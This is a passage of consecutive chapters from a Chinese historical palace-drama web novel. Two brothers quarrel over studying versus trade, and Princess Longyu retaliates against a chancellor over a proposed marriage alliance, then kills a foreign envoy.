他们聊了好一会儿,直到快到晚膳的时辰,三姐妹才一块往叶老夫人那去。 夜里叶明岳从铺子回来,刚见到叶婉宁,抓住一把银票,“着急回来,我都没空整理。这是两万两银票,你在公主府处处都要用钱,这都是铺子里挣的,我留下一部分当本钱,这些都给你。” 云芝看到两万两银票,惊得合不拢嘴,“二爷,这么短时间,您就挣那么多钱吗?” “不多了,本来我还可以挣更多的,但你们不知道,书院那需要时间应付。我都想好了,等过完年我就和大哥摊牌,这书啊,谁爱读去读,反正老子不读了。” 他笑嘻嘻地看着桌上的钱,能体现自己的价值,做个对家里有用的人,叶明岳很有成就感。 不过没等他和妹妹叙旧,院子里突然响起一声怒吼,“叶明岳,你小子给我滚出来!” “是大哥!”叶明岳第一反应是把银票藏起来,但转念又不解,“他怎么那么生气?” 叶婉宁有个不好的预感,赶紧把钱塞垫子下,“你先别出去,我去和大哥说。” 叶明岳眉头突突直跳,“不应该啊,我每天都是小心再小心,总不会被大哥发现了吧?” 这个想法一出来,叶明岳坐不住了,感觉自己随时被抬着走。 叶婉宁开了门,看大哥手里拿着家法,自己也有点心虚,“大哥,你……” “你别说话,我也要找你算账,先让叶明岳出来!”叶明德是典型的封建大家长,入夜不进妹妹的卧房,在他看来也是一种守礼。 叶婉宁知道不好了,这会二哥出来,肯定要被打半死,倒不如先跑了再说。 她转身进屋,本来想让二哥跑路,结果二哥早就跑了。 “二爷说他对不住您,先走一步,大爷肯定不会对您动手,让您帮忙挡一挡。”云芝头一回看大爷那么生气,她也有点害怕。 叶婉宁:……真是她的好哥哥。 只是他们忽略了大哥对他们的了解,没等叶婉宁出去,就听到一声“哎哟”,叶明德早就派人在院子外蹲着,今天的叶明岳插翅难逃! 第66章 不忍了 叶婉宁到院子里时,二哥已经被人压着手带来了。 “叶明岳,你是当京城里人人都是瞎子,没有人认识你吗?”叶明德大声道,“你给我跪下!” 京城里人多,叶明岳生意越做越大,认识的人也就越多了,有人说到叶明德这里时,叶明德还不相信,亲自去书院一趟,才知道被骗了许久。 他举着家法,对着叶明岳狠狠打了两下,疼得叶明岳嗷嗷叫。 “我让你骗我,我为你费心费力,你倒好,阳奉阴违地骗我。你真当我是傻子,能瞒着我一辈子吗?”叶明德很失望,“我对你太失望了!” 听到这话,叶明岳不喊疼了。 看叶明岳这样,叶明德更来气,“躲都不躲,是觉得我不舍得打你吗?” 看大哥发了狠,叶婉宁跑过来挡住大哥的手,“大哥,你听二哥解释。” “还有你婉宁,我向来觉得你是最让人放心的一个,怎么你也跟着胡闹?”这是叶明德最想不明白的一点,“你二哥这样就算了,你说,是不是他怂恿你的?” “不是的大哥,是我帮二哥想的办法。”叶婉宁道,“我知道你不容易,这些年照顾家里,还得在朝堂应酬。家中兄弟姐妹,每个都需要你操心,我也想二哥能和你一样,科举入仕。但是大哥,人各有命的,不是所有人都要走一样的路,也不是所有人都能科举成功。” 有些人考到四五十岁,都还只是一个秀才,就算叶明岳努力读书,花个五年时间把以前的内容补上。但他无心于此,真的能读好吗? “大哥,你别怪婉宁,你要打就打我吧。”叶明岳跪着往前挪,“我知道你是为了我好,我也想过认真读书,但我真的读不进去。我只想做生意,婉宁说得对,人各有所长,我在读书上不行,但你看看,这才几个月,我就挣了几万两银子。” “谁稀罕你去挣钱?”叶明德没好气道。 “家里处处都需要钱的,大嫂用嫁妆贴补家里,就算她没有怨言,长此以往,咱们怎么好意思?”叶明岳道,“家里妹妹们都到了出嫁年纪,不挣钱,怎么给她们准备嫁妆?” 叶明德皱着眉头,“你是嫌我没本事,给不了你们体面的生活了?” “我不是这个意思,我是想说,大哥你在朝堂上辛苦,总要有人去干点别的事。正好我适合干这个,咱们分工协作,一起让家中日子过好点,不是更好吗?干嘛非要都读书?”叶明岳不理解这一点,明明可以现在就过有钱日子,为什么都要去熬读书科举。 而且中进士只是第一步,后面的为官经营才是更重要的事。 “你现在是大老板,果然能说会道,我是说不过你了。”叶明德还是觉得科举好,世人都以科举为荣。 “大哥,你怎么还是如此顽固呢,连姜姒都理解我,为何你非要我去科举?”叶明岳不理解了,读书是好,但不代表别的不行啊。 听姜姒都知道这个事,叶明德愣了愣,随后自嘲地笑了笑,丢下手中的家法,失落往外走,“原来是我多管闲事,是我不让人理解了。” 看叶明德就这么走了,叶婉宁知道大哥伤心了,她想追上去,大哥却让她别靠近。 “二哥,你怎么能这样说?”叶婉宁回来叹气,“我们这次,真的让大哥受伤了。” “我知道他是为我好,但大哥不曾想过,这样的好是不是我要的?”叶明岳揉着腰起身,“我不说狠一点,大哥还会坚持让我读书的。刚刚你不该拦着大哥,就该让他狠狠打我一顿,把我打得下不来床,大哥就会心软了。” 这么多年,叶明岳对他大哥了如指掌,挨揍都挨出经验来了。 “倒是我错了?”叶婉宁很想白他一眼,“都说纸包不住火,你明天一早,就去大哥那跪着,一次不行就两次,大哥还是会心软的。” “我晓得的,这事是咱们瞒着他,明天你去找大嫂,让大嫂帮我求求情。哎呦喂,真疼啊,大哥这几下,我得趴着睡几天了。”叶明岳觉得这样也好,免得他每天提心吊胆,倒不如提早摊牌。 第二天叶明德还没起来,叶明岳就在大房院子里跪着,只是叶明德不搭理叶明岳,从叶明岳身边经过时,看都不看一眼。 很快这个事全家都知道了。 叶老夫人同样生气,但她舍不得动手,锤了叶明岳几下,听叶明岳说被狠狠打过,又心疼,只是面上不松嘴,“你去祠堂跪着,好好想想错在哪里了!” “祖母教训得是,我不该哄骗你们说去读书。”叶明岳要去跪祠堂,姜姒说她也有责任,应该一起去。 叶老夫人舍得罚孙子跪祠堂,但要给孙媳妇面子,“算了算了,我年纪大了,管不了你们。还是等明德回来,让他来管你。” 听到不用跪祠堂,叶明岳立马凑过去撒娇,“还是祖母对我好。” “一边去,我现在看到你就头疼。”叶老夫人心很累,儿子儿媳撒手走了,留她一个老人家,孩子这么多,总有操心不完的事,“我是看在你夫人的面子上,才放你一马,回去待着吧,不哄好你大哥,还是要跪祠堂。” 叶明岳心中叹气,以大哥的古板脾气,说不定得熬上好些日子。 此时的叶明德,一整个早上都是脸臭臭的,他向来一本正经,不是圆滑的人,同僚里只有二三好友,剩下的大多不往来。 昨儿和叶明德说叶明岳事的叫周峰,他们平常互相看不顺眼,“叶兄,我没说错吧,你那个弟弟是出了名的纨绔。他瞒着你不去书院,反而做点上不了台面的营生,真是丢了读书人的脸。” “我弟弟做什么,和你都没关系,我自己的弟弟,我会教育。”叶明德还是在忍让,他刚升迁,周峰这种看不顺眼的人有很多。 “是你弟弟没错,可他也是世家子弟,丢了世家的脸面,以后我都不敢和你们叶家往来了。”周峰嫌弃道,“不过呢,叶明岳是庶出的,你确实不用太上心,说不定他还能挣点钱,助你再往上爬一爬呢。” 这次的升迁,周峰也是人选之一,但最后是叶明德升迁,周峰心中不爽,现在是暗讽叶明德送了礼。 “周峰,你好歹也是六品官员,说话要证据,你要是对我的升迁有质疑,你大可以去弹劾我。至于我弟弟,不管是嫡出庶出,我都费心教养。就算我弟弟读书不行,但他也是个人品端正的人,总比你这种心里阴暗,又不敢明说的人好!”叶明德平常最能忍,他知道自己的处境不容易,很多事忍一忍就过去了,他不能和人起争执,全家都得靠他立足。 但是周峰说他弟弟,这就不行。 周峰愣了愣,快速涨红了脸,“叶明德,你说谁阴暗?” “你!”叶明德直直地看着对方。 其他人都惊呆了,以前叶明德可不是这个样。 “你是不是找打?”周峰抬起拳头,但被人喊住,“行行行,你有本事了,我让着你。但我等着瞧,你那个纨绔弟弟,能有什么本事?别最后偷鸡摸狗被人抓到,我一定用力拍掌!” 这一天,叶明德都心情极差,黑着脸回到家时,叶明岳大气都不敢喘,直挺挺地跪着道歉。 叶明德俯视着已经成家的弟弟,心中无限感慨,“起来,跟我进来。” 第67章 和亲 看大哥那么冷静,叶明岳心里是怕的。 等他出来时,却觉得如梦一般。 叶明德说,“你已经成亲了,我不好和以前一样管你。我想了很久,是我哪里做得不够,才让你走歪了。一开始我都在找自己的不足,在想你哪里不够好,后来我发现,我已经尽力了,你也没有我想象中的差。” “明岳,我是一家之长,要从长远考虑,很多事不是喜欢不喜欢来决定。既然我决定不了,那就让你有个选择吧。”叶明德长声叹气,仿佛老了十岁,“我不再逼你读书了,但你要记得,君子爱财,取之有道。如果你做什么伤天害理的事情,我绝对不会原谅你。” 听出大哥的意思,叶明岳激动保证,“大哥放心,我一定本本分分做生意,让我们家不再受人欺负!” 兄弟俩谈过话,这个事情就此过去。 叶婉宁有问二哥为什么,叶明岳说他也不知道为什么大哥转变想法,“可能是知道再劝也没用,才同意了。” 中秋那日,叶明岳狗腿一样地围着叶明德,一家子坐在一块吃饭,其乐融融。 过了正午,叶婉宁该回去时,才发现江嬷嬷已经在门口等了有一会儿。 “嬷嬷来了怎么不进去坐?”叶婉宁问。 “姑娘回家一趟,肯定要尽兴再走,日子还早呢。”江嬷嬷很体贴地道。因为叶婉宁要回去,殿下一早就让人准备膳食,她看得出殿下的高兴。她是跟殿下去乌苏,又从乌苏回来的老人,殿下的喜怒哀乐,也是她的情绪。 叶婉宁心里感动,回到公主府时还早,正巧遇到了羲和郡主和宁安郡主。 看到宁安郡主也在,叶婉宁便知道羲和郡主不是偷跑出来的。 “我还以为见不到你了呢。”羲和郡主拉着叶婉宁到一旁小声问,“那日回来,姑母没为难你吧?” “没有呢。” “我真羡慕你,我母妃把我关起来抄书,你是不知道啊,他们好狠的心,只给我送一日三餐。若不是今晚宫宴,还不让我出来,要是我做姑母的女儿就好了。”羲和郡主是来邀隆玉公主进宫的,但隆玉公主说不爱去。 这时宁安郡主过来,她不用听,都知道羲和与叶婉宁说什么,“姐姐别听羲和胡说,端王妃也是为了她好,免得她下次再拉你出门。” “你少来挑拨离间,婉宁姐姐和我出门可开心了,你以为谁都像你,整天待在府里,只对书感兴趣吗?”羲和郡主冲着宁安郡主吐舌头,却被宁安郡主敲了下头,“干嘛打我?” “打你出言无状,行了,快点进宫吧,今日宫宴还有各国使臣,咱们不能去迟了。”宁安郡主拉着羲和郡主往外走。 羲和郡主不忘回头说话,“婉宁姐姐,你有空来找我玩呀,我好无聊的。” 叶婉宁笑着说好,江嬷嬷说羲和郡主很喜欢叶婉宁。 “羲和郡主是个明朗的人,姑娘可以和她多来往。”江嬷嬷道。 “嬷嬷也喜欢羲和郡主?”叶婉宁问。 “天真活泼的小姑娘,谁会不喜欢呢?”江嬷嬷带着叶婉宁进了正殿,“殿下,姑娘回来了。” 隆玉公主正在挑首饰,“婉宁你过来看看,哪个更好看?” “红玛瑙端庄沉稳,蓝宝石显白,其实都好看,就看义母更喜欢哪个了。”叶婉宁细细地看了。 隆玉公主说不是给她自己挑的,“既然你觉得都好看,那都送你。这是父皇赏赐下来的,本宫看着都很适合你,特意留下。你刚刚遇到宁安和羲和了吧?” 叶婉宁说是。 “羲和这小丫头有点意思,那么多侄女里,就她爱往我这里跑。你有空可以多去找她玩,日子长了,有个好姐妹也不错。”隆玉公主让叶婉宁试试两套首饰, 叶婉宁肤白如雪,她戴什么都是好看的,等她上身后,隆玉公主又让人去找布料给叶婉宁做新衣裳。 “我穿不完那么多。”叶婉宁道。 “穿不完就放着,咱们不做了衣裳,那些布料堆在那里也是浪费了。只要我们能穿一次,就不枉费它们的制造。”隆玉公主一点都不心疼,“姑娘家的,就是要趁年轻漂亮的时候多打扮自己,不然多可惜。你长得好看,就该让那些男人对你垂涎三尺。” 两人试了一下午的布料首饰,叶婉宁收获颇多,逢春四个来拿,都拿不走,还是隆玉公主派人一起送回去。 叶婉宁看着屋子里摆放的首饰布料,这会心里是幸福的。 被宠幸和偏爱,确实容易让人上头。 公主府的中秋晚膳就这么过去了,宫里头却是不太平。 次日叶婉宁用早膳时,便听逢春道,“乌苏使臣又提了和亲的想法。” “可是皇上没有合适的公主了啊?”说到和亲,叶婉宁不由皱了眉。 “是啊,所以只能从几位郡主里挑。”逢春也叹气,她是公主府的侍女,说到和亲,大家心里只有感叹。 第68章 出气 其实还有一个提议,逢春不敢和主子说,不过此时的隆玉公主正在因此发火。 “什么叫本宫去了一次,正好让本宫的义女再去一次?”地上摔了一地的东西,隆玉公主嚷着嗓子骂右相,“他白术是脑子昏了头吗,婉宁姓叶,又不是姓李,凭什么让她去和亲?好好好,你现在就把白家的女儿都带来,本宫全部认为义女,乌苏匈奴各一个,全拉去和亲!” 江嬷嬷也觉得这个提议太欺负人了,“殿下先冷静冷静,右相是不该这么提议,您已经奉献了十几年,哪里有让叶姑娘再去的道理。再说了,让叶姑娘去和亲,别人岂不是要戳咱们脊梁骨,右相此番实在歹毒。” “是,当年他就支持本宫和亲,当本宫还是十几岁的懵懂少女么,真是搞笑。你去给谢泊淮送个口信,就说本宫要见他,本宫倒要看看,他白术有多厉害,能挡得住谢泊淮的怒火。”隆玉公主冷哼说完,又让其他人去端王府一趟,“去告诉端王,谁同意和亲,就让谁的女儿去。太子同意,让宁安去就是,本宫相信以宁安的本事,一定可以让两国太平个五十年。” 乌苏使臣提到和亲,几位王爷沉默不语,皇上去问太子,太子说隆玉公主的和亲换来十几年太平,如今隆玉公主功成身退,和亲可以考虑。 从太子的角度看,他是尊贵的太子,又只有宁安郡主一个嫡女,若是挑人去和亲,一定不会挑他的女儿。尽管六王爷家的女儿年纪小了点,但从京城去乌苏,也得走上大半年。 太子是为了他以后登基做铺垫,反正不是他女儿,好处却都是他的。 宫宴的事传到隆玉公主耳里,同样传到了谢泊淮那。 皇上召见谢泊淮,询问谢泊淮什么看法。 “我朝修养数年,并不惧怕乌苏小国。”谢泊淮顿了顿,“且乌苏很可能会发生内乱,不足为惧。” “内乱?” “乌苏王位刚交替变化,乌苏使臣就在途中遇刺,可见乌苏国内并不安宁,既然如此,微臣觉得不用和亲。倒不如等内乱过后,吞并乌苏,坐收渔翁之利。”谢泊淮一直都是个狠人,只有谢泊淮说他是个好人。 连皇上,都常常惊叹谢泊淮的手腕和野心,如果不是谢泊淮树敌太多,只能依附皇权,皇上是不会重用谢泊淮的。 当然了,以谢泊淮的机智,这也是他的一种自我保护手段。 “在先祖建朝时,乌苏确实归顺过我朝。如果朕能收复乌苏,便能名垂青史了。”皇上越说越心动,“只是乌苏使臣的话,得想个理由搪塞过去,总不能让朕先失和。” 不答应乌苏使臣要求,又想维护名声, 谢泊淮早就想好提议,“隆玉公主和亲多年,却一直想着回来,说明公主对乌苏并没有留恋。既然如此,不如让隆玉公主出面,她是曾经的乌苏王妃,有她出面,乌苏使臣也得低一头。” 皇上有些担忧,“朕怕隆玉不想再管这些事,昨日宫宴都没来,可见她现在只想过自己日子。” “不会的,这次的事,公主一定会出面。”谢泊淮知道隆玉公主是个狠人,乌苏提和亲,正好给隆玉公主一个发泄的地方,“不过想要公主出面,还得请右相去说和。” 皇上不解,“为何得是右相?” “因为右相得罪了公主。”谢泊淮道,“不让公主出了这口气,她怕是不会出面解决。” 镇府司的消息,是全京城最灵通的,不需要去见隆玉公主,谢泊淮已经想好怎么报复右相了, 皇上很快想明白怎么回事,比起让人说他不是,让右相去公主府道个歉也不是不可以,当即允诺了。 等谢泊淮出宫门,得知隆玉公主请他过去说话,他直接拒绝了,“不需要她说,该办的事,我都办完了。” 他是什么样的人,隆玉公主又是什么样的人? 两个都是京城受人瞩目的人,若是频繁出现在公主府,岂不让人猜疑? 而且他和隆玉公主,本就不是一条船上的人。 公主府里,隆玉公主左等右等,没等来谢泊淮,有些急躁了,“这个谢泊淮,他是耳朵聋了么,这么大的事,总不会不知道吧?” “应该不至于。”江嬷嬷道。 “是,他应该知道了!”隆玉公主的眼珠转了转,很快冷静下来,“既然他知道,以谢泊淮的性格,必定不会让这件事成功,咱们等着吧,估计谢泊淮已经出招了。” 到了下午,听门房说右相上门,隆玉公主就知道谢泊淮的意思了。 她抬手砸了几个花瓶,“不用收拾,就这样把白术带来。” 等右相进来时,看到满地狼藉,心中微沉,再行礼道,“微臣参见殿下,殿下万安。” “万安?有你在,让本宫如何万安?”隆玉公主一个眼神扫过去,冷厉而充满杀气,“你以为本宫好欺负是吗?才得了一位能说说话的义女,你倒好,别人还没想到本宫这里,你却巴不得本宫变成孤家寡人。白术,你把你家的几个孙女都带来吧,本宫也想认识认识她们。” 顿住笑了下,隆玉公主又补充道,“还有孙子也带来,本宫这里的男宠腻了,上回瞧见你家孙儿不错,就让他们来陪陪本宫。至于孙女,你放心,本宫做人一向大方,一定给她们丰厚嫁妆,让她们也体验下和亲的感觉!” “殿下息怒。”白术知道今天过来,必有磨难,但他没想到隆玉公主会把话说得直接且难听,原本准备好的说辞,现在全用不上,这是秀才遇上兵,有理也说不清了。 “息怒?怎么息怒?”隆玉公主对着白术砸了茶盏,茶汤湿了白术的衣裳,白术却不敢生气。 今日是皇上让白术过来,说明皇上对隆玉公主看重,并且在和亲这件事上,皇上并不看好。 是白术自己选错了方向。 他只能忍着了。 “别以为你不说话,本宫就会放过你。”隆玉公主走向白术,“怎么了,你让本宫的义女去和亲,本宫要认你家孩子为义女,你就不同意了?刀不扎在自己身上,还真不会疼,是父皇让你过来的吧,可是白术,你该怎么做,才能让本宫消气呢?” 白术眉头紧锁,他好歹是右相,隆玉公主却如此目中无人,他昨晚就应该把这个事定下来,今日也就没必要来求隆玉公主原谅。 奈何他自己做事不够狠,现在只能由着隆玉公主发泄, “这样吧,你让你家的那些孩子,都住到公主府,本宫什么时候开心了,就把他们放回去。”隆玉公主的语气不容拒绝。 “殿下,此事和他们并无关系啊!”白术不愿意。 “那和亲与本宫的婉宁又有什么关系?”隆玉公主抬高音量,藏在屏风后的叶婉宁听到后,心头为之一颤。 第69章 底气 隆玉公主特意让叶婉宁看着,意思是和她学学,以后遇到事,也要拿出这样的底气来。 白术哑口。 隆玉公主直接下命令,“江嬷嬷,你去白府传话,就说本宫嫌弃府里太安静,上次瞧着白家的几个孩子都活泼可爱,右相也同意让他们来做客。东西都不用带了,本宫这里什么都有。如果白夫人有阻拦,你直接拿出本宫的令牌,谁多说一句话,便打一耳光。” 白术:“殿下,您……” “白大人,右相大人,本宫相信你是个聪明人,本宫又不是草菅人命的恶人,不过是日子太寂寥,给自己找一些陪伴。你这么看着本宫,本宫会误会了的。如果你实在不同意,大可以现在进宫找父皇,让父皇来阻止本宫。”隆玉公主重新坐下,笑眯眯地看着白术。 她知道,白术不敢。 身居高位的人,最怕被人抓到把柄,因为他们知道站在好处有多爽,也知道多少人想踩着他们上位。 白术握紧拳头,奈何隆玉公主不肯松口,他只能忍下了,“既然如此,还请殿下去乌苏使臣那说和说和,两国的大事最重要。” “你放心,等本宫心情好了,自然就去了。”隆玉公主让江嬷嬷送客,等白术走后,再让人收拾地上的碎瓷片。 叶婉宁从屏风后出来,心中还在惊叹隆玉公主方才的架势。 “你是不是被吓到了?”面对叶婉宁,隆玉公主温柔不少。 叶婉宁摇摇头,吓到不至于,“我只是没想到,义母面对右相,会是这个态度。”毕竟是公主,方才隆玉公主的样子,和市井骂架没什么差别了。 “哈哈,本宫知晓你的意思,在乌苏的日子,并不容易。一开始本宫处处端着修养,什么都想以理服人,后来发现,当地的教化远不如京城,就算本宫说破嘴,他们也不讲道理。那就只能以权压人,从本宫拿出架势来后,才开始有人害怕本宫。”隆玉公主笑着道,“面对白术这种老头,就应该这样,不然他肯定一肚子的仁义礼教等着本宫,然后用道德压本宫。” 叶婉宁点头说是,“右相这次会气炸了。” 在叶婉宁心里,同样爽快,如果让她来,肯定是以理服人,没想到撒泼也能那么痛快。 “就是要气死他,等白家那些人到了公主府,本宫晾着他们,让他们吃不好,睡不好。”隆玉公主哼了一声。 傍晚时,江嬷嬷带着白家的几个孩子来了,要的都是十二岁以上的,太小的不要,哭哭啼啼还不懂事。只要这些大的,才好震慑白家。 江嬷嬷说,“白家二奶奶哭着不让老奴带人走了,老奴听您的,直接打了一耳光,拿出了您的令牌后,白夫人才拦着家里人,让老奴把这些公子小姐带来。” “都带下去吧,告诉他们,本宫随时都会挑人来伺候,让他们准备着,别松懈了。”隆玉公主并不是真的看上白家人,是在故意吓他们。谁让她不爽,她就让谁不快活。 此时的白家,朱氏看着沉默的夫君,再次叹气,“到底怎么回事,隆玉公主好歹是个公主,她把咱家孩子带走,就不怕被人指责吗?” “她有什么好怕的,公主府里的男宠少吗?”白术说他看走了眼,“原以为她还会顾及一点脸面,结果是我想多了,她都能养男宠了,膝下又没用血脉,还有什么好顾及的?” “那……那也不能明着要咱家孩子过去啊?你没看见,惠姐儿几个都哭成泪人了,老二媳妇还挨了一耳光,你可是一品大臣,我也是有诰命在身上的,她怎么敢?”朱氏想到几个孩子在公主府,她食不下咽,坐都坐不住。 “你淡定点,人是她明着要过去的,必定不会让孩子们有事。”白术叹气道,“吃几天苦罢了,皇上不会让她拖太久,等事情办妥了,就会让人回来。” 现在只能这么想了。 朱氏擦眼泪道,“明日我亲自上门去赔礼,希望她能看在我的面子上,不为难几个孩子。” 特别是几个孙子,如果成了隆玉公主的裙下臣,往后他们白家怎么做人? 孙女不一定去和亲,但孙子的清白更重要,毕竟他们是白家的未来。 白术也担心这一点,隆玉公主这个人,做事越来越不讲究了,早知道会是这样,他不该让她平安回来。 在朱氏流眼泪时,白家二房也在落泪,二房好不容易有个儿子,现在知道可能被隆玉公主糟蹋,气晕了好几回。 而隆玉公主故意晾着白家那几个孩子,见都不见,害得他们提心吊胆。 直到他们看到叶婉宁,白惠气冲冲地上前,“都是因为你,如果不是你,我们才不用受这种委屈!” “什么委屈?义母好吃好喝供着你们,也没有囚禁你们,原来让你们到公主府享福是委屈,看来你们一点感恩的心都没有。”这种话,以前叶婉宁是不会说的,她会做得更圆滑,更不让人挑出错来,但是在隆玉公主身边待久了,慢慢生出了底气。 第70章 请你去死吧 白惠被叶婉宁的气势吓到了,她平常是看不上叶婉宁这种出身的姑娘,以白家的家世,就算是郡主们见到她,都要客客气气。现在却被叶婉宁压一头,心里咽不下这口气。 “叶婉宁,你……你别以为自己山鸡变了凤凰,就能在我面前耀武扬威,实际上你骨子里还是卑贱的出身。你且等着瞧,你不过是隆玉公主现在养的一个小玩意,只要等隆玉公主腻了的那天,你随时都会被抛弃!”白惠破防失了教养,冲着叶婉宁吼。 这话正好被江嬷嬷听到,她过来甩了白惠一耳光,“白姑娘,殿下的行事还轮不到你来指点。你要记得,叶姑娘是殿下的义女,她比你高贵,比你有教养,她永远都会在你之上。至于你,对叶姑娘出言不逊,去罚抄十遍《女则》,明日这个时候送到殿下那里。” 白惠捂着脸,从小到大,她第一次被人打脸,还是当着那么多人的面,“你不就是个奴才哦,你怎么敢打我?” 白惠举起手,却被叶婉宁抓住,“白惠,江嬷嬷是义母身边最得力的嬷嬷,她的脸面,就是义母的脸面。你真要觉得江嬷嬷不该打你,你大可以去找殿下理论。不过我劝你,还是先抄完《女则》再去,不然你可能还要被罚。” 甩开白惠的手,叶婉宁带着江嬷嬷走了。 等看不到白家人,叶婉宁才和江嬷嬷道谢。 “姑娘客气了,这都是老奴应该做的,您现在也确实比白姑娘尊贵,没必要让着她。下一回不用老奴动手,直接让逢春几个上就行,咱们公主府的人,没人能欺负。”江嬷嬷笑吟吟地道,“您快回去休息吧,老奴还得去和殿下说一声呢。” 和江嬷嬷到了别,云芝才敢小声说“爽快”。 逢春倒是淡定,“是白姑娘看不清自己的处境,殿下能把他们从白家要来,说明右相大人知道他们会被打压。这种时候,更应该夹着尾巴做人,而不是在姑娘面前耀武扬威。” “确实啊。”云芝慢慢地反应过来,自家姑娘的身份地位,确实和以前不一样了,“就是我还没习惯,以后逢春你多提醒我,免得姑娘被人伤了脸面,我还畏手畏脚想着要不要打。” 逢春笑了,“你放心,有我在,不用你动手。” 日子久了,她们也渐渐熟悉起来,叶婉宁看云芝和逢春有说有笑,心里也是舒坦的。 就算是被记恨上了,那又如何呢? 以前她会怕,现在她可是有人撑腰。 回到院子里,叶婉宁有些困了,先去躺一会儿。 主子嗜睡,云芝还没想太多,逢春倒是细心,想着过两日还是这般,应该请个大夫来给主子看看,好好调理一下身子。他们做下人的,主子好,她们也就跟着好了。 白家这几个孩子,在白惠被打了一耳光后,全部消停了。 次日朱氏早早上门,隆玉公主也不瞒着,直接说了白惠被打的事。 朱氏心头猛跳,指甲已经扣进掌心,她家的孩子,她都不曾动手打过。但是面上,朱氏还得保持笑脸,“是臣妇平日疏于管教,有殿下帮忙教养,臣妇是放心的。” “你能这么说就好,本宫还怕你因此记恨本宫,你家那几个孩子确实任性一些,不过年纪小,还可以慢慢调教。”隆玉公主看朱氏吃瘪的表情,心里乐呵着,“不过你放心,人在本宫这里,本宫心里有数,不会有什么大事。” 朱氏心想人都被打了,还能有什么更严重的事,隆玉公主也是精明得厉害,知道现在说了,她不能秋后算账。 朱氏提出想见见几个孩子,隆玉公主当即敛去笑容,“本宫知道你心疼孩子,但他们才来一晚上,你迫不及待地想见他们,是怕本宫做什么吗?” “臣妇不敢。”朱氏跪了下来。 “不敢就回去吧,告诉白术,什么时候本宫开心了,本宫就把人送回去。”隆玉公主不给时间,要的就是白家人煎熬。 朱氏知道自己白来一趟,出了公主府,她当即露出本色,“真当她是个什么东西,不过是个二嫁的荡妇,竟然敢欺辱我家孩儿!” 她边上的嬷嬷小声提醒,“夫人,这里还在外边,咱们回去再说吧。” “我怕她吗?”朱氏愤愤上了马车,“咱们走着瞧,看她能嚣张几天!” 隆玉公主的好日子有多久,现在谁也不知道,她把白家几个孩子拘了几日,等乌苏使臣再次上书请求和亲时,她亲自去了使臣的住所。 刚进去见到乌苏使臣,隆玉公主直接上脚踹了过去,“贾巴尔,是你的主子嫌弃他王位不想坐了,还是你嫌弃命太长了?” “殿下什么意思?”贾巴尔跪在地上,眼睛却直直地看着隆玉公主。 “本宫什么意思?你不明白吗?”隆玉公主拔出匕首,丢在地上,“是你自己了断,还是本宫动手?” “你……你太过分了,我可是代表乌苏的使臣!”贾巴尔愤怒道。 隆玉公主不屑道,“那又如何?本宫还是你们乌苏王的长辈,本宫想杀你就杀你,他能怎么办?难不成,他也想杀了本宫?” 她俯下身,凑到贾巴尔跟前,用只有他们两个人能听到音量道,“上次本宫没能杀了你,是因为有谢泊淮在。你觉得这次本宫再动手,谢泊淮还会不会帮你呢?” 当然不会。 皇上一直不点头和亲,便是对和亲不满意,而谢泊淮又是皇上的人。如果有人愿意杀了贾巴尔,对皇上来说是好事。 贾巴尔听到是隆玉公主刺杀的他,之前的猜想都得到了印证,身子不由自主地颤抖,“你……你这么做都是为了……” “为了谁就不用说出来了,贾巴尔,你这次太笨了。本宫不喜欢和笨男人说话,所以,请你去死吧。”隆玉公主捡起匕首,利落地对准贾巴尔的喉咙。 贾巴尔的脖颈被割开,鲜血喷射出来,溅了隆玉公主一脸,她却淡定地要帕子。 “走吧,咱们进宫去给父皇请罪。”隆玉公主唇角勾着一抹笑,她不心狠手辣,死的就是她。说起来,这一点她和谢泊淮还挺像的,所以她不想和谢泊淮成为敌人。 第71章 啰哩巴嗦 当叶婉宁得知隆玉公主杀了乌苏使臣时,她脑中“轰”了一下,立马让人准备马车。 到了宫门口,才想到自己没有宫牌,进不了宫。 转头她去了端王府,见到了禁足中的羲和郡主。 “你想让我带你进宫?”羲和郡主自然而然地问,“就算你给姑母求情,皇爷爷也不会听你的。” “我……我就是心里不安,想去看看。”叶婉宁知道自己没那么重要,她坐不住,一坐下来忍不住焦虑。 羲和郡主反而淡定许多,“你别怕,姑母敢动手,就想过后果的。再说了,皇爷爷总不会为了一个外人要姑母如何,最多和我一样,被禁足而已。你放心啦,不会有什么事的。实在不放心,我去宫门口陪你等着。” 这时端王妃来了,“我看你啊,就是想趁着机会出去,什么陪着一起等,你也好意思说出来?” “母妃,您怎么这样想我?我是看婉宁姐姐着急,这才想着陪她去。”羲和郡主想过去撒娇,却被她母妃推开。 “都是大姑娘了,还成日里这般说话,我看啊,还是得送你去太学继续读书。”端王妃刚说完,羲和郡主立马摇头,说她会怪怪的。看女儿这样,端王妃不由好笑,“婉宁你别担心,羲和说得没错,隆玉既然敢做,就有她脱身的法子。不然谁敢杀使臣呢?” 话是这么说,但叶婉宁不知道隆玉公主怎么想的。 她心里七上八下,既然羲和郡主不带她进宫,她还是去宫门口等着。 羲和郡主听叶婉宁还想去宫门口,她央求起母妃,“您不是总说让女儿多和婉宁姐姐学学,她现在不安,我陪她一会儿呗。你就别让我再待在屋子里了,我保证这次哪里都不去。” “行了,少和我来这套,我是知道你的。”端王妃还是心软松了口,“你可以出门,但记住你的话,不能偷跑去别的地方玩。” “我知道了!”得到母妃的允许,羲和郡主迫不及待地拉着叶婉宁往外跑。 “这孩子!”端王妃看着女儿摇头叹气,在和亲这件事上,她和隆玉公主是站在一起的,自己女儿什么性格,她心里清楚。如果让她女儿去和亲,她怕是后半辈子都睡不安稳。 羲和郡主能出门,一路上激动地看着窗外,“还是你有面子,除了中秋出门,其余时间我都被关着。母妃说要磨磨我的性子,但我觉得,我这样就很好啊,干嘛非要和宁安一样没趣,你说是不是?” 叶婉宁浅笑着,“郡主活泼可爱,确实讨人喜欢。” “那宁安呢,你喜欢她吗?”羲和拉着叶婉宁,要叶婉宁给个答案。 叶婉宁哪里好做对比,打岔说快到宫门口了。 羲和努努嘴,“我知道你怕得罪人,算了,我不逼你了。你别想太多,姑母不会有事的,咦,那不是谢泊淮吗?” 马车停在宫门口,叶婉宁寻声看去,见谢泊淮跳下马背,身形笔直。 “其实谢泊淮这人长得是好的,全京城里就他这张脸最好看了,也难怪昭云会对他那么上心。不过谢泊淮这人太可怕了,让我和他多说一句话,我都不敢,更别说……诶,他怎么走过来了?”看谢泊淮越走越近,羲和郡主赶忙关了木窗,心想谢泊淮千万别过来。 但事与愿违,谢泊淮站在了马车边上。 “见过郡主。”谢泊淮声音清冷,马车里的羲和郡主害怕地抖了抖。 “你……你有什么事?”羲和郡主连木窗都不敢推开,隔着木窗问。 